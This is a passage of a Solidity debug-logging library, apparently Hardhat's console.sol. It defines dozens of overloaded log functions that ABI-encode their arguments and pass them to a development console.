_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { 